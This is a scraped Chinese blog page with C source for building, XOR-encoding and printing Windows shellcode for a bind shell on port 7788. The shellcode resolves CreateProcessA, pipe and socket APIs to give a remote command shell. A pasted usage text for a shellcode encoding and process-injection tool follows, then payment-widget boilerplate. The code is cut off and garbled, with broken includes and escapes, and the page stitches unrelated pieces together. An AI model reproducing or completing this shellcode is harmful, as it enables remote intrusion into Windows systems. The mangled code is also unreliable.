提取shellcode

该程序使用C语言展示了如何从函数中提取并打印Shellcode。它包含解码Shellcode的函数`DecryptSc()`,以及`ShellCodes()`,后者包含动态搜索API地址的Shellcode。程序使用xor解码法和微调法,并提供了调试模式。
摘要由CSDN通过智能技术生成
导读:
  说明:此程序可以用标准c语言string格式打印出你所在ShellCodes函数中编写的shellcode
  用vc编译时请使用Release格式并取消优化设置,否则不能正常运行
  */
  #i nclude
  #i nclude
  #i nclude
  #define DEBUG 1 //定义为调试模式。本地测试用。打印shellcode后立即执行shellcode
  //
  //函数原型
  //
  void DecryptSc(); //shellcode解码函数,使用的是xor法加微调法
  void ShellCodes(); //shellcode的函数,因为使用了动态搜索API地址。所以所有WINNT系统通杀
  void PrintSc(char *lpBuff, int buffsize); //PrintSc函数用标准c格式打印
  //
  //用到的部分定义
  //
  #define BEGINSTRLEN 0x08 //开始字符串长度
  #define ENDSTRLEN 0x08 //结束标记字符的长度
  #define nop_CODE 0x90 //填充字符,用于不确定shellcode入口用
  #define nop_LEN 0x0 //ShellCode起始的填充长度,真正shellcode的入口
  #define BUFFSIZE 0x20000 //输出缓冲区大小
  #define sc_PORT 7788 //绑定端口号 0x1e6c
  #define sc_BUFFSIZE 0x2000 //ShellCode缓冲区大小
  #define Enc_key 0x7A //编码密钥
  #define MAX_Enc_Len 0x400 //加密代码的最大长度 1024足够?
  #define MAX_Sc_Len 0x2000 //hellCode的最大长度 8192足够?
  #define MAX_api_strlen 0x400 //APIstr字符串的长度
  #define API_endstr "strend"//API结尾标记字符串
  #define API_endstrlen 0x06 //标记字符串长度
  //定义函数开始字符,定位用
  #define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90"
  __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
  #define PROC_END PROC_BEGIN
  //---------------------------------------------------
  enum{ //Kernel32中的函数名定义,用于编写自定义的shellcode。下同
  _CreatePipe,
  _CreateProcessA,
  _CloseHandle,
  _PeekNamedPipe,
  _ReadFile,
  _WriteFile,
  _ExitProcess,
  //WS2_32
  _WSAStartup,
  _WSASocket
  _socket,
  _bind,
  _listen,
  _accept,
  _send,
  _recv,
  _ioctlsocket,
  _closesocket,
  //本机测试User32
  _MessageBeep,
  _MessageBoxA,
  API_num
  };
  //
  //代码这里开始
  //
  int __cdecl main(int argc, char **argv)
  {
  //shellcode中要用到的字符串
  static char ApiStr[]=""x1e"x6c" //端口地址7788
  //Kernel32中查找的API函数名称,用来查找函数地址,下同
  "CreatePipe"""x0"
  "CreateProcessA"""x0"
  "CloseHandle"""x0"
  "PeekNamedPipe"""x0"
  "ReadFile"""x0"
  "WriteFile"""x0"
  "ExitProcess"""x0"
  //其它API中用到的API
  "wsock32.dll"""x0"
  "socket"""x0"
  "bind"""x0"
  "listen"""x0"
  "accept"""x0"
  "send"""x0"
  "recv"""x0"
  "ioctlsocket"""x0"
  "closesocket"""x0"
  //本机测试
  "user32.dll"""x0"
  "MessageBeep"""x0"
  "MessageB
Shellcode Helper v1.62 Coded by TeLeMan (c) 2008-2013 Usage: schelper.exe [options] Options: -i [input file] input file (Default: stdin) -o [output file] output file (Default: stdout) -s input file format (Default: Auto-Detection) -sb input file format is Binary -sp the input file format's parameters -d output file format (Default: C format) -db output file format is Binary -dp the output file format's parameters -search get the start offset by the pattern: e.g. PK\x03\x04 -soff fix the match offset after searching (Default: 0) -off convert the input file from the offset (Default: 0) -len convert the input file with the length (Default: 0 - MAX) -en [encoder] encode shellcode (Default: XorDword) -de [encoder] decode shellcode (Default: Auto-Detection) -ex exclude characters: e.g. 0x00,0x01-0x1F,0xFF (Default: 0x00) -in incude characters only -ep the encoder's parameters -t [pid] execute or inject shellcode into process for testing -td [pid] execute or inject shellcode into process for debugging -stack put shellcode into stack and execute it (ESP is the shellcode start) -noinfo display no normal messages except error messages Available formats: 0 - C 1 - C(HexArray) 2 - Perl 3 - Python 4 - Ruby 5 - JavaScript(Escape) 6 - VBScript(Escape) 7 - Pascal 8 - MASM(Data) 9 - HexDump 10 - BitString 11 - HexString 12 - HexArray(C like) 13 - Base64 14 - Binary 15 - HexString(C like) 16 - HexString(Escape) 17 - HexString(JavaScript,UNICODE) 18 - URI(ISO-8859-1) 19 - XML(PCDATA) 20 - BigNumber 21 - BigNumber(Hex) 22 - BigNumber(BaseX) 23 - FloatPoint 24 - UnixTimestamp 25 - GUID 26 - MASM(ASM) 27 - NASM 28 - YASM(ASM) 29 - FASM(ASM) 30 - JWASM(ASM) 31 - POASM(ASM) 32 - GOASM(ASM) 33 - GNU ASM Available encoders:
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值